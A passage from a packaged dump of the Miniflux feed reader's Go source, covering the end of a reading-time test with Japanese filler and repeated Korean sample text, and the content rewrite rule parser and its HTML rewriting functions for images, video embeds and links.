`\n労問委格名町違載式新青脂通由。割止書円画民京般著治登門画拡下。有国同観教田美森素説砂者徴多。上治速相支存色分繰年活元事集遣逆山。身消年森発世財間世変悲原記潟旅好手真今。現通浪口特愛始信川節身方一表著購。郁不使権草定内防並要更一条露加。載交源図訴際属年券重供健三洗。事北残却女鮎朝分要廷込宣政愛無投事。\n\n問警技亮参沼洗請米物模人。誰探重午局新戦報投性病庭。典向載問千著書故表視新権最石車音端乏大。白僚三掲局係仕表広無旧見要最裁。額寄済生年余講前本次載隊劇。権成観始応泉早高拓了経地本稼室目犯井出。暮載必広傷内校岡公南散広転行別釈。康運行関本掲隠泉傷退報告。独変年換差取予口男旅挑講禁姿。出芳工類胸管払時済潟髪内豊。\n\n康浴部問玲玉追球化就店岡問画路投。施先太業阪能敏所陸不供探掲方用。手右演社援発示竹育対橋除際愛功旬転好使公。利時改本項輸属嘆員複携者地剤。天政朝戸祝言月接住世黙極者議編連。囲淑覧重弾必治物健賄開頂外称豊開名銀戸院。政稿調励廃演手生告題営味董演何南峰貨。学横公得行提大品回猿齢利込家前役把煎。天代者内身慢作業署間地日。\n\n中個興本広坂態掲神中能等無滞長対。号処月画界意気様党目購栃欠歌暮。一耳供意盛四俊健必財下画例本判著堺要北王。宮大攻人水一備治首闘振円分建前趣校。目少供午見掲岡安画入情薦続土世始。診読格七久改急目斉実配正。性止月模多様更社発掲雪奇芸量全兵経負。予転済反問止下生買再無旅的。模治明以共会必華浅知館版領送。\n\t`,\n\t\"korean\": `\n\t세계 인권 선언(世界人權宣言, 영어: Universal Declaration of Human Rights, UDHR)은 1948년 12월 10일 파리에서 열린 제3회 유엔 총회에서 채택된 인권에 관한 세계 선언문이다.[1] 2차 세계대전 전후로 전 세계에 만연하였던 인권침해 사태에 대한 인류의 반성을 촉구하고, 모든 인간의 기본적 권리를 존중해야 한다는 유엔 헌장의 취지를 구체화 하였다.[2] 시민적, 정치적 권리가 중심이지만 노동자의 단결권, 교육에 관한 권리, 예술을 향유할 권리 등 경제적, 사회적, 문화적 권리에 대하여서도 규정하고 있다.[1]\n\t초안은 1946년 존 험프리가 작성하였다.[3] 인권선언문은 전문과 본문의 30개 조에 개인의 기본적인 자유와 함께 노동권적 권리, 생존권적 권리를 오늘날의 진보적인 국가의 헌법에서 규정하는 인권보장과 같이 자세히 규정하고 있다.[4] 프랑스 파리 샤요 궁(Palais de Chaillot)에서 열린 3번째 회의에서 당시 국제연합 가입국 58개 국가 중 48개 국가가 찬성하여 유엔 총회 결의 217 A (III)로 승인되었다.\n\t초안은 1946년 존 험프리가 작성하였다.[3] 인권선언문은 전문과 본문의 30개 조에 개인의 기본적인 자유와 함께 노동권적 권리, 생존권적 권리를 오늘날의 진보적인 국가의 헌법에서 규정하는 인권보장과 같이 자세히 규정하고 있다.[4] 프랑스 파리 샤요 궁(Palais de Chaillot)에서 열린 3번째 회의에서 당시 국제연합 가입국 58개 국가 중 48개 국가가 찬성하여 유엔 총회 결의 217 A (III)로 승인되었다.\n\t초안은 1946년 존 험프리가 작성하였다.[3] 인권선언문은 전문과 본문의 30개 조에 개인의 기본적인 자유와 함께 노동권적 권리, 생존권적 권리를 오늘날의 진보적인 국가의 헌법에서 규정하는 인권보장과 같이 자세히 규정하고 있다.[4] 프랑스 파리 샤요 궁(Palais de Chaillot)에서 열린 3번째 회의에서 당시 국제연합 가입국 58개 국가 중 48개 국가가 찬성하여 유엔 총회 결의 217 A (III)로 승인되었다.\n\t초안은 1946년 존 험프리가 작성하였다.[3] 인권선언문은 전문과 본문의 30개 조에 개인의 기본적인 자유와 함께 노동권적 권리, 생존권적 권리를 오늘날의 진보적인 국가의 헌법에서 규정하는 인권보장과 같이 자세히 규정하고 있다.[4] 프랑스 파리 샤요 궁(Palais de Chaillot)에서 열린 3번째 회의에서 당시 국제연합 가입국 58개 국가 중 48개 국가가 찬성하여 유엔 총회 결의 217 A (III)로 승인되었다.\n\t초안은 1946년 존 험프리가 작성하였다.[3] 인권선언문은 전문과 본문의 30개 조에 개인의 기본적인 자유와 함께 노동권적 권리, 생존권적 권리를 오늘날의 진보적인 국가의 헌법에서 규정하는 인권보장과 같이 자세히 규정하고 있다.[4] 프랑스 파리 샤요 궁(Palais de Chaillot)에서 열린 3번째 회의에서 당시 국제연합 가입국 58개 국가 중 48개 국가가 찬성하여 유엔 총회 결의 217 A (III)로 승인되었다.\n\t초안은 1946년 존 험프리가 작성하였다.[3] 인권선언문은 전문과 본문의 30개 조에 개인의 기본적인 자유와 함께 노동권적 권리, 생존권적 권리를 오늘날의 진보적인 국가의 헌법에서 규정하는 인권보장과 같이 자세히 규정하고 있다.[4] 프랑스 파리 샤요 궁(Palais de Chaillot)에서 열린 3번째 회의에서 당시 국제연합 가입국 58개 국가 중 48개 국가가 찬성하여 유엔 총회 결의 217 A (III)로 승인되었다.\n\t초안은 1946년 존 험프리가 작성하였다.[3] 인권선언문은 전문과 본문의 30개 조에 개인의 기본적인 자유와 함께 노동권적 권리, 생존권적 권리를 오늘날의 진보적인 국가의 헌법에서 규정하는 인권보장과 같이 자세히 규정하고 있다.[4] 프랑스 파리 샤요 궁(Palais de Chaillot)에서 열린 3번째 회의에서 당시 국제연합 가입국 58개 국가 중 48개 국가가 찬성하여 유엔 총회 결의 217 A (III)로 승인되었다.\n\t초안은 1946년 존 험프리가 작성하였다.[3] 인권선언문은 전문과 본문의 30개 조에 개인의 기본적인 자유와 함께 노동권적 권리, 생존권적 권리를 오늘날의 진보적인 국가의 헌법에서 규정하는 인권보장과 같이 자세히 규정하고 있다.[4] 프랑스 파리 샤요 궁(Palais de Chaillot)에서 열린 3번째 회의에서 당시 국제연합 가입국 58개 국가 중 48개 국가가 찬성하여 유엔 총회 결의 217 A (III)로 승인되었다.\n\t초안은 1946년 존 험프리가 작성하였다.[3] 인권선언문은 전문과 본문의 30개 조에 개인의 기본적인 자유와 함께 노동권적 권리, 생존권적 권리를 오늘날의 진보적인 국가의 헌법에서 규정하는 인권보장과 같이 자세히 규정하고 있다.[4] 프랑스 파리 샤요 궁(Palais de Chaillot)에서 열린 3번째 회의에서 당시 국제연합 가입국 58개 국가 중 48개 국가가 찬성하여 유엔 총회 결의 217 A (III)로 승인되었다.\n\t`,\n}\n\nfunc TestEstimateReadingTime(t *testing.T) {\n\texpected := map[string]int{\n\t\t\"shortenglish\": 1,\n\t\t\"shortchinese\": 1,\n\t\t\"english\":      2,\n\t\t\"chinese\":      2,\n\t\t\"korean\":       5,\n\t}\n\n\tfor language, sample := range samples {\n\t\tgot := EstimateReadingTime(sample, 200, 500)\n\t\twant := expected[language]\n\t\tif got != want {\n\t\t\tt.Errorf(`Wrong reading time, got %d instead of %d for %s`, got, want, language)\n\t\t}\n\t}\n}\n\nfunc BenchmarkEstimateReadingTime(b *testing.B) {\n\tfor b.Loop() {\n\t\tfor _, sample := range samples {\n\t\t\tEstimateReadingTime(sample, 200, 500)\n\t\t}\n\t}\n}\n"
  },
  {
    "path": "internal/reader/rewrite/content_rewrite.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage rewrite // import \"miniflux.app/v2/internal/reader/rewrite\"\n\nimport (\n\t\"log/slog\"\n\t\"strconv\"\n\t\"strings\"\n\t\"text/scanner\"\n\n\t\"miniflux.app/v2/internal/model\"\n\t\"miniflux.app/v2/internal/urllib\"\n)\n\ntype rule struct {\n\tname string\n\targs []string\n}\n\nfunc (rule rule) applyRule(entryURL string, entry *model.Entry) {\n\tswitch rule.name {\n\tcase \"add_image_title\":\n\t\tentry.Content = addImageTitle(entry.Content)\n\tcase \"add_mailto_subject\":\n\t\tentry.Content = addMailtoSubject(entry.Content)\n\tcase \"add_dynamic_image\":\n\t\tentry.Content = addDynamicImage(entry.Content)\n\tcase \"add_dynamic_iframe\":\n\t\tentry.Content = addDynamicIframe(entry.Content)\n\tcase \"add_youtube_video\":\n\t\tentry.Content = addYoutubeVideoRewriteRule(entryURL, entry.Content)\n\tcase \"add_invidious_video\":\n\t\tentry.Content = addInvidiousVideo(entryURL, entry.Content)\n\tcase \"add_youtube_video_using_invidious_player\":\n\t\tentry.Content = addYoutubeVideoUsingInvidiousPlayer(entryURL, entry.Content)\n\tcase \"add_youtube_video_from_id\":\n\t\tentry.Content = addYoutubeVideoFromId(entry.Content)\n\tcase \"add_pdf_download_link\":\n\t\tentry.Content = addPDFLink(entryURL, entry.Content)\n\tcase \"nl2br\":\n\t\tentry.Content = strings.ReplaceAll(entry.Content, \"\\n\", \"<br>\")\n\tcase \"convert_text_link\", \"convert_text_links\":\n\t\tentry.Content = replaceTextLinks(entry.Content)\n\tcase \"fix_medium_images\":\n\t\tentry.Content = fixMediumImages(entry.Content)\n\tcase \"use_noscript_figure_images\":\n\t\tentry.Content = useNoScriptImages(entry.Content)\n\tcase \"replace\":\n\t\t// Format: replace(\"search-term\"|\"replace-term\")\n\t\tif len(rule.args) >= 2 {\n\t\t\tentry.Content = replaceCustom(entry.Content, rule.args[0], rule.args[1])\n\t\t} else {\n\t\t\tslog.Warn(\"Cannot find search and replace terms for replace rule\",\n\t\t\t\tslog.Any(\"rule\", rule),\n\t\t\t\tslog.String(\"entry_url\", entryURL),\n\t\t\t)\n\t\t}\n\tcase \"replace_title\":\n\t\t// Format: replace_title(\"search-term\"|\"replace-term\")\n\t\tif len(rule.args) >= 2 {\n\t\t\tentry.Title = replaceCustom(entry.Title, rule.args[0], rule.args[1])\n\t\t} else {\n\t\t\tslog.Warn(\"Cannot find search and replace terms for replace_title rule\",\n\t\t\t\tslog.Any(\"rule\", rule),\n\t\t\t\tslog.String(\"entry_url\", entryURL),\n\t\t\t)\n\t\t}\n\tcase \"remove\":\n\t\t// Format: remove(\"#selector > .element, .another\")\n\t\tif len(rule.args) >= 1 {\n\t\t\tentry.Content = removeCustom(entry.Content, rule.args[0])\n\t\t} else {\n\t\t\tslog.Warn(\"Cannot find selector for remove rule\",\n\t\t\t\tslog.Any(\"rule\", rule),\n\t\t\t\tslog.String(\"entry_url\", entryURL),\n\t\t\t)\n\t\t}\n\tcase \"add_castopod_episode\":\n\t\tentry.Content = addCastopodEpisode(entryURL, entry.Content)\n\tcase \"base64_decode\":\n\t\tselector := \"body\"\n\t\tif len(rule.args) >= 1 {\n\t\t\tselector = rule.args[0]\n\t\t}\n\t\tentry.Content = applyFuncOnTextContent(entry.Content, selector, decodeBase64Content)\n\tcase \"add_hn_links_using_hack\":\n\t\tentry.Content = addHackerNewsLinksUsing(entry.Content, \"hack\")\n\tcase \"add_hn_links_using_opener\":\n\t\tentry.Content = addHackerNewsLinksUsing(entry.Content, \"opener\")\n\tcase \"remove_tables\":\n\t\tentry.Content = removeTables(entry.Content)\n\tcase \"remove_clickbait\":\n\t\tentry.Title = titlelize(entry.Title)\n\tcase \"fix_ghost_cards\":\n\t\tentry.Content = fixGhostCards(entry.Content)\n\tcase \"remove_img_blur_params\":\n\t\tentry.Content = removeImgBlurParams(entry.Content)\n\t}\n}\n\nfunc ApplyContentRewriteRules(entry *model.Entry, customRewriteRules string) {\n\trulesList := getPredefinedRewriteRules(entry.URL)\n\tif customRewriteRules != \"\" {\n\t\trulesList = customRewriteRules\n\t}\n\n\trules := parseRules(rulesList)\n\trules = append(rules, rule{name: \"add_pdf_download_link\"})\n\n\tslog.Debug(\"Rewrite rules applied\",\n\t\tslog.Any(\"rules\", rules),\n\t\tslog.String(\"entry_url\", entry.URL),\n\t)\n\n\tfor _, rule := range rules {\n\t\trule.applyRule(entry.URL, entry)\n\t}\n}\n\nfunc parseRules(rulesText string) (rules []rule) {\n\tscan := scanner.Scanner{Mode: scanner.ScanIdents | scanner.ScanStrings}\n\tscan.Init(strings.NewReader(rulesText))\n\n\tfor {\n\t\tswitch scan.Scan() {\n\t\tcase scanner.Ident:\n\t\t\trules = append(rules, rule{name: scan.TokenText()})\n\t\tcase scanner.String:\n\t\t\tif l := len(rules) - 1; l >= 0 {\n\t\t\t\ttext, _ := strconv.Unquote(scan.TokenText())\n\t\t\t\trules[l].args = append(rules[l].args, text)\n\t\t\t}\n\t\tcase scanner.EOF:\n\t\t\treturn rules\n\t\t}\n\t}\n}\n\nfunc getPredefinedRewriteRules(entryURL string) string {\n\turlDomain := urllib.DomainWithoutWWW(entryURL)\n\tif rules, ok := predefinedRules[urlDomain]; ok {\n\t\treturn rules\n\t}\n\n\treturn \"\"\n}\n"
  },
  {
    "path": "internal/reader/rewrite/content_rewrite_functions.go",
    "content": "// SPDX-FileCopyrightText: Copyright The Miniflux Authors. All rights reserved.\n// SPDX-License-Identifier: Apache-2.0\n\npackage rewrite // import \"miniflux.app/v2/internal/reader/rewrite\"\n\nimport (\n\t\"encoding/base64\"\n\t\"fmt\"\n\t\"html\"\n\t\"log/slog\"\n\t\"net/url\"\n\t\"regexp\"\n\t\"strconv\"\n\t\"strings\"\n\t\"unicode\"\n\n\t\"miniflux.app/v2/internal/config\"\n\n\tnethtml \"golang.org/x/net/html\"\n\n\t\"github.com/PuerkitoBio/goquery\"\n)\n\nvar (\n\tyoutubeIdRegex = regexp.MustCompile(`youtube_id\"?\\s*[:=]\\s*\"([a-zA-Z0-9_-]{11})\"`)\n\ttextLinkRegex  = regexp.MustCompile(`(?mi)(\\bhttps?:\\/\\/[-A-Z0-9+&@#\\/%?=~_|!:,.;]*[-A-Z0-9+&@#\\/%=~_|])`)\n)\n\n// titlelize returns a copy of the string s with all Unicode letters that begin words\n// mapped to their Unicode title case.\nfunc titlelize(s string) string {\n\t// A closure is used here to remember the previous character\n\t// so that we can check if there is a space preceding the current\n\t// character.\n\tprevious := ' '\n\treturn strings.Map(\n\t\tfunc(current rune) rune {\n\t\t\tif unicode.IsSpace(previous) {\n\t\t\t\tprevious = current\n\t\t\t\treturn unicode.ToTitle(current)\n\t\t\t}\n\t\t\tprevious = current\n\t\t\treturn current\n\t\t}, strings.ToLower(s))\n}\n\nfunc addImageTitle(entryContent string) string {\n\tdoc, err := goquery.NewDocumentFromReader(strings.NewReader(entryContent))\n\tif err != nil {\n\t\treturn entryContent\n\t}\n\n\tmatches := doc.Find(\"img[src][title]\")\n\n\tif matches.Length() > 0 {\n\t\tmatches.Each(func(i int, img *goquery.Selection) {\n\t\t\taltAttr := img.AttrOr(\"alt\", \"\")\n\t\t\tsrcAttr, _ := img.Attr(\"src\")\n\t\t\ttitleAttr, _ := img.Attr(\"title\")\n\n\t\t\timg.ReplaceWithHtml(`<figure><img src=\"` + srcAttr + `\" alt=\"` + altAttr + `\"/><figcaption><p>` + html.EscapeString(titleAttr) + `</p></figcaption></figure>`)\n\t\t})\n\n\t\toutput, _ := doc.FindMatcher(goquery.Single(\"body\")).Html()\n\t\treturn output\n\t}\n\n\treturn entryContent\n}\n\nfunc addMailtoSubject(entryContent string) string {\n\tdoc, err := goquery.NewDocumentFromReader(strings.NewReader(entryContent))\n\tif err != nil {\n\t\treturn entryContent\n\t}\n\n\tmatches := doc.Find(`a[href^=\"mailto:\"]`)\n\n\tif matches.Length() > 0 {\n\t\tmatches.Each(func(i int, a *goquery.Selection) {\n\t\t\threfAttr, _ := a.Attr(\"href\")\n\n\t\t\tmailto, err := url.Parse(hrefAttr)\n\t\t\tif err != nil {\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tsubject := mailto.Query().Get(\"subject\")\n\t\t\tif subject == \"\" {\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\ta.AppendHtml(\" [\" + html.EscapeString(subject) + \"]\")\n\t\t})\n\n\t\toutput, _ := doc.FindMatcher(goquery.Single(\"body\")).Html()\n\t\treturn output\n\t}\n\n\treturn entryContent\n}\n\nfunc addDynamicImage(entryContent string) string {\n\tparserHtml, err := nethtml.ParseWithOptions(strings.NewReader(entryContent), nethtml.ParseOptionEnableScripting(false))\n\tif err != nil {\n\t\treturn entryContent\n\t}\n\tdoc := goquery.NewDocumentFromNode(parserHtml)\n\n\t// Ordered most preferred to least preferred.\n\tcandidateAttrs := [...]string{\n\t\t\"data-src\",\n\t\t\"data-original\",\n\t\t\"data-orig\",\n\t\t\"data-url\",\n\t\t\"data-orig-file\",\n\t\t\"data-large-file\",\n\t\t\"data-medium-file\",\n\t\t\"data-original-mos\",\n\t\t\"data-2000src\",\n\t\t\"data-1000src\",\n\t\t\"data-800src\",\n\t\t\"data-655src\",\n\t\t\"data-500src\",\n\t\t\"data-380src\",\n\t}\n\n\tcandidateSrcsetAttrs := [...]string{\n\t\t\"data-srcset\",\n\t}\n\n\tchanged := false\n\n\tdoc.Find(\"img,div\").Each(func(i int, img *goquery.Selection) {\n\t\t// Src-linked candidates\n\t\tfor _, candidateAttr := range candidateAttrs {\n\t\t\tif srcAttr, found := img.Attr(candidateAttr); found {\n\t\t\t\tchanged = true\n\n\t\t\t\tif img.Is(\"img\") {\n\t\t\t\t\timg.SetAttr(\"src\", srcAttr)\n\t\t\t\t} else {\n\t\t\t\t\taltAttr := img.AttrOr(\"alt\", \"\")\n\t\t\t\t\timg.ReplaceWithHtml(`<img src=\"` + srcAttr + `\" alt=\"` + altAttr + `\"/>`)\n\t\t\t\t}\n\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\n\t\t// Srcset-linked candidates\n\t\tfor _, candidateAttr := range candidateSrcsetAttrs {\n\t\t\tif srcAttr, found := img.Attr(candidateAttr); found {\n\t\t\t\tchanged = true\n\n\t\t\t\tif img.Is(\"img\") {\n\t\t\t\t\timg.SetAttr(\"srcset\", srcAttr)\n\t\t\t\t} else {\n\t\t\t\t\taltAttr := img.AttrOr(\"alt\", \"\")\n\t\t\t\t\timg.ReplaceWithHtml(`<img srcset=\"` + srcAttr + `\" alt=\"` + altAttr + `\"/>`)\n\t\t\t\t}\n\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t})\n\n\tif !changed {\n\t\tdoc.Find(\"noscript\").Each(func(i int, noscript *goquery.Selection) {\n\t\t\tif img := noscript.Find(\"img\"); img.Length() == 1 {\n\t\t\t\timg.Unwrap()\n\t\t\t\tchanged = true\n\t\t\t}\n\t\t})\n\t}\n\n\tif changed {\n\t\toutput, _ := doc.FindMatcher(goquery.Single(\"body\")).Html()\n\t\treturn output\n\t}\n\n\treturn entryContent\n}\n\nfunc addDynamicIframe(entryContent string) string {\n\tdoc, err := goquery.NewDocumentFromReader(strings.NewReader(entryContent))\n\tif err != nil {\n\t\treturn entryContent\n\t}\n\n\t// Ordered most preferred to least preferred.\n\tcandidateAttrs := []string{\n\t\t\"data-src\",\n\t\t\"data-original\",\n\t\t\"data-orig\",\n\t\t\"data-url\",\n\t\t\"data-lazy-src\",\n\t}\n\n\tchanged := false\n\n\tdoc.Find(\"iframe\").Each(func(i int, iframe *goquery.Selection) {\n\t\tfor _, candidateAttr := range candidateAttrs {\n\t\t\tif srcAttr, found := iframe.Attr(candidateAttr); found {\n\t\t\t\tchanged = true\n\n\t\t\t\tiframe.SetAttr(\"src\", srcAttr)\n\n\t\t\t\tbreak\n\t\t\t}\n\t\t}\n\t})\n\n\tif changed {\n\t\toutput, _ := doc.FindMatcher(goquery.Single(\"body\")).Html()\n\t\treturn output\n\t}\n\n\treturn entryContent\n}\n\nfunc fixMediumImages(entryContent string) string {\n\tdoc, err := goquery.NewDocumentFromReader(strings.NewReader(entryContent))\n\tif err != nil {\n\t\treturn entryContent\n\t}\n\n\tdoc.Find(\"figure.paragraph-image\").Each(func(i int, paragraphImage *goquery.Selection) {\n\t\tnoscriptElement := paragraphImage.Find(\"noscript\")\n\t\tif noscriptElement.Length() > 0 {\n\t\t\tparagraphImage.ReplaceWithHtml(noscriptElement.Text())\n\t\t}\n\t})\n\n\toutput, _ := doc.FindMatcher(goquery.Single(\"body\")).Html()\n\treturn output\n}\n\nfunc useNoScriptImages(entryContent string) string {\n\tdoc, err := goquery.NewDocumentFromReader(strings.NewReader(entryContent))\n\tif err != nil {\n\t\treturn entryContent\n\t}\n\n\tdoc.Find(\"figure\").Each(func(i int, figureElement *goquery.Selection) {\n\t\timgElement := figureElement.Find(\"img\")\n\t\tif imgElement.Length() > 0 {\n\t\t\tnoscriptElement := figureElement.Find(\"noscript\")\n\t\t\tif noscriptElement.Length() > 0 {\n\t\t\t\tfigureElement.PrependHtml(noscriptElement.Text())\n\t\t\t\timgElement.Remove()\n\t\t\t\tnoscriptElement.Remove()\n\t\t\t}\n\t\t}\n\t})\n\n\toutput, _ := doc.FindMatcher(goquery.Single(\"body\")).Html()\n\treturn output\n}\n\nfunc getYoutubVideoIDFromURL(entryURL string) string {\n\tu, err := url.Parse(entryURL)\n\tif err != nil {\n\t\treturn \"\"\n\t}\n\n\tif !strings.HasSuffix(u.Hostname(), \"youtube.com\") {\n\t\treturn \"\"\n\t}\n\n\tif u.Path == \"/watch\" {\n\t\tif v := u.Query().Get(\"v\"); v != \"\" {\n\t\t\treturn v\n\t\t}\n\t\treturn \"\"\n\t}\n\n\tif id, found := strings.CutPrefix(u.Path, \"/shorts/\"); found {\n\t\tif len(id) == 11 {\n\t\t\t// youtube shorts id are always 11 chars.\n\t\t\treturn id\n\t\t}\n\t}\n\n\treturn \"\"\n}\n\nfunc buildVideoPlayerIframe(absoluteVideoURL string) string {\n\treturn `<iframe width=\"650\" height=\"350\" frameborder=\"0\" src=\"` + absoluteVideoURL + `\" allowfullscreen></iframe>`\n}\n\nfunc addVideoPlayerIframe(absoluteVideoURL, entryContent string) string {\n\treturn buildVideoPlayerIframe(absoluteVideoURL) + `<br>` + entryContent\n}\n\nfunc addYoutubeVideoRewriteRule(entryURL, entryContent string) string {\n\tif videoURL := getYoutubVideoIDFromURL(entryURL); videoURL != \"\" {\n\t\treturn addVideoPlayerIframe(config.Opts.YouTubeEmbedUrlOverride()+videoURL, entryContent)\n\t}\n\treturn entryContent\n}\n\nfunc addYoutubeVideoUsingInvidiousPlayer(entryURL, entryContent string) string {\n\tif videoURL := getYoutubVideoIDFromURL(entryURL); videoURL != \"\" {\n\t\treturn addVideoPlayerIframe(`https://`+config.Opts.InvidiousInstance()+`/embed/`+videoURL, entryContent)\n\t}\n\treturn entryContent\n}\n\n// For reference: https://github.com/miniflux/v2/pull/1314\nfunc addYoutubeVideoFromId(entryContent string) string {\n\tmatches := youtubeIdRegex.FindAllStringSubmatch(entryContent, -1)\n\tif matches == nil {\n\t\treturn entryContent\n\t}\n\tvar videoPlayerHTML strings.Builder\n\tfor _, match := range matches {\n\t\tif len(match) == 2 {\n\t\t\tvideoPlayerHTML.WriteString(buildVideoPlayerIframe(config.Opts.YouTubeEmbedUrlOverride() + match[1]))\n\t\t\tvideoPlayerHTML.WriteString(\"<br>\")\n\t\t}\n\t}\n\treturn videoPlayerHTML.String() + entryContent\n}\n\nfunc addInvidiousVideo(entryURL, entryContent string) string {\n\tu, err := url.Parse(entryURL)\n\tif err != nil {\n\t\treturn entryContent\n\t}\n\n\tif u.Path != \"/watch\" {\n\t\treturn entryContent\n\t}\n\n\tqs := u.Query()\n\tvideoID := qs.Get(\"v\")\n\tif videoID == \"\" {\n\t\treturn entryContent\n\t}\n\tqs.Del(\"v\")\n\n\tembedVideoURL := \"https://\" + u.Hostname() + `/embed/` + videoID\n\tif len(qs) > 0 {\n\t\tembedVideoURL += \"?\" + qs.Encode()\n\t}\n\n\treturn addVideoPlayerIframe(embedVideoURL, entryContent)\n}\n\nfunc addPDFLink(entryURL, entryContent string) string {\n\tif strings.HasSuffix(entryURL, \".pdf\") {\n\t\treturn fmt.Sprintf(`<a href=%q>PDF</a><br>%s`, entryURL, entryContent)\n\t}\n\treturn entryContent\n}\n\nfunc replaceTextLinks(input string) string {\n\treturn textLinkRegex.ReplaceAllString(input, `<a href=\"${1}\">${1}</a>`)\n}\n\nfunc replaceCustom(entryContent string, searchTerm string, replaceTerm string) string {\n\tre, err := regexp.Compile(searchTerm)\n\tif err == nil {\n\t\treturn re.ReplaceAllString(entryContent, replaceTerm)\n\t}\n\treturn entryContent\n}\n\nfunc removeCustom(entryContent string, selector string) string {\n\tdoc, err := goquery.NewDocumentFromReader(strings.NewReader(entryContent))\n\tif err != nil {\n\t\treturn entryContent\n\t}\n\n\tdoc.Find(selector).Remove()\n\n\toutput, _ := doc.FindMatcher(goquery.Single(\"body\")).Html()\n\treturn output\n}\n\nfunc addCastopodEpisode(entryURL, entryContent string) string {\n\tplayer := `<iframe width=\"650\" frameborder=\"0\" src=\"` + entryURL + `/embed/light\"></iframe>`\n\n\treturn player + `<br>` + entryContent\n}\n\nfunc applyFuncOnTextContent(entryContent string, selector string, repl func(string) string) string {\n\tvar treatChildren func(i int, s *goquery.Selection)\n\ttreatChildren = func(i int, s *goquery.Selection) {\n\t\tif s.Nodes[0].Type == nethtml.TextNode {\n\t\t\ts.ReplaceWithHtml(repl(s.Nodes[0].Data))\n\t\t} else {\n\t\t\ts.Contents().Each(treatChildren)\n\t\t}\n\t}\n\n\tdoc, err := goquery.NewDocumentFromReader(strings.NewReader(entryContent))\n\tif err != nil {\n\t\treturn entryContent\n\t}\n\n\tdoc.Find(selector).Each(treatChildren)\n\n\toutput, _ := doc.FindMatcher(goquery.Single(\"body\")).Html()\n\treturn output\n}\n\nfunc decodeBase64Content(entryContent string) string {\n\tif ret, err := base64.StdEncoding.DecodeString(strings.TrimSpace(entryContent)); err != nil {\n\t\treturn entryContent\n\t} else {\n\t\treturn html.EscapeString(string(ret))\n\t}\n}\n\nfunc addHackerNewsLinksUsing(entryContent, app string) string {\n\tdoc, err := goquery.NewDocumentFromReader(strings.NewReader(entryContent))\n\tif err != nil {\n\t\treturn entryContent\n\t}\n\n\thn_prefix := \"https://news.ycombinator.com/\"\n\tmatches := doc.Find(`a[href^=\"` + hn_prefix + `\"]`)\n\n\tif matches.Length() > 0 {\n\t\tmatches.Each(func(i int, a *goquery.Selection) {\n\t\t\threfAttr, _ := a.Attr(\"href\")\n\n\t\t\thn_uri, err := url.Parse(hrefAttr)\n\t\t\tif err != nil {\n\t\t\t\treturn\n\t\t\t}\n\n\t\t\tswitch app {\n\t\t\tcase \"opener\":\n\t\t\t\tparams := url.Values{}\n\t\t\t\tparams.Add(\"url\", hn_uri.String())\n\n\t\t\t\turl := url.URL{\n\t\t\t\t\tScheme:   \"opener\",\n\t\t\t\t\tHost:     \"x-callback-url\",\n\t\t\t\t\tPath:     \"show-options\",\n\t\t\t\t\tRawQuery: params.Encode(),\n\t\t\t\t}\n\n\t\t\t\topen_with_opener := `<a href=\"` + url.String() + `\">Open with Opener</a>`\n\t\t\t\ta.Parent().AppendHtml(\" \" + open_with_opener)\n\t\t\tcase \"hack\":\n\t\t\t\turl := strings.Replace(hn_uri.String(), hn_prefix, \"hack://\", 1)\n\n\t\t\t\topen_with_hack := `<a href=\"` + url + `\">Open with HACK</a>`\n\t\t\t\ta.Parent().AppendHtml(\" \" + open_with_hack)\n\t\t\tdefault:\n\t\t\t\tslog.Warn(\"Unknown app provided for openHackerNewsLinksWith rewrite rule\",\n\t\t\t\t\tslog.String(\"app\", app),\n\t\t\t\t)\n\t\t\t\treturn\n\t\t\t}\n\t\t})\n\n\t\toutput, _ := doc.FindMatcher(goquery.Single(\"body\")).Html()\n\t\treturn output\n\t}\n\n\treturn entryContent\n}\n\nfunc removeTables(entryContent string) string {\n\tdoc, err := goquery.NewDocumentFromReader(strings.NewReader(entryContent))\n\tif err != nil {\n\t\treturn entryContent\n\t}\n\n\tselectors := []string{\"table\", \"tbody\", \"thead\", \"td\", \"th\", \"td\"}\n\n\tvar loopElement *goquery.Selection\n\n\tfor _, selector := range selectors {\n\t\tfor {\n\t\t\tloopElement = doc.FindMatcher(goquery.Single(selector))\n\n\t\t\tif loopElement.Length() == 0 {\n\t\t\t\tbreak\n\t\t\t}\n\n\t\t\tinnerHtml, err := loopElement.Html()\n\t\t\tif err != nil {\n\t\t\t\tbreak\n\t\t\t}\n\n\t\t\tloopElement.Parent().AppendHtml(innerHtml)\n\t\t\tloopElement.Remove()\n\t\t}\n\t}\n\n\toutput, _ := doc.FindMatcher(goquery.Single(\"body\")).Html()\n\treturn output\n}\n\nfunc fixGhostCards(entryContent string) string {\n\tdoc, err := goquery.NewDocumentFromReader(strings.NewReader(entryContent))\n\tif err != nil {\n\t\treturn entryContent\n\t}\n\n\tconst cardSelector = \"figure.kg-card\"\n\tvar currentList *goquery.Selection\n\n\tdoc.Find(cardSelector).Each(func(i int, s *goquery.Selection) {\n\t\ttitle := s.Find(\".kg-bookmark-title\").First().Text()\n\t\tauthor := s.Find(\".kg-bookmark-author\").First().Text()\n\t\thref := s.Find(\"a.kg-bookmark-container\").First().AttrOr(\"href\", \"\")\n\n\t\t// if there is no link or title, skip processing\n\t\tif href == \"\" || title == \"\" {\n\t\t\treturn\n\t\t}\n\n\t\tlink := \"\"\n\t\tif author == \"\" || strings.HasSuffix(title, author) {\n\t\t\tlink = fmt.Sprintf(\"<a href=\\\"%s\\\">%s</a>\", href, title)\n\t\t} else {\n\t\t\tlink = fmt.Sprintf(\"<a href=\\\"%s\\\">%s - %s</a>\", href, title, author)\n\t\t}\n\n\t\tnext := s.Next()\n\n\t\t// if the next element is also a card, start a list\n\t\tif next.Is(cardSelector) && currentList == nil {\n\t\t\tcurrentList = s.BeforeHtml(\"<ul></ul>\").Prev()\n\t\t}\n\n\t\tif currentList != nil {\n\t\t\t// add this card to the list, then delete it\n\t\t\tcurrentList.AppendHtml(\"<li>\" + link + \"</li>\")\n\t\t\ts.Remove()\n\t\t} else {\n\t\t\t// replace single card\n\t\t\ts.ReplaceWithHtml(link)\n\t\t}\n\n\t\t// if the next element is not a card, start a new list\n\t\tif !next.Is(cardSelector) && currentList != nil {\n\t\t\tcurrentList = nil\n\t\t}\n\t})\n\n\toutput, _ 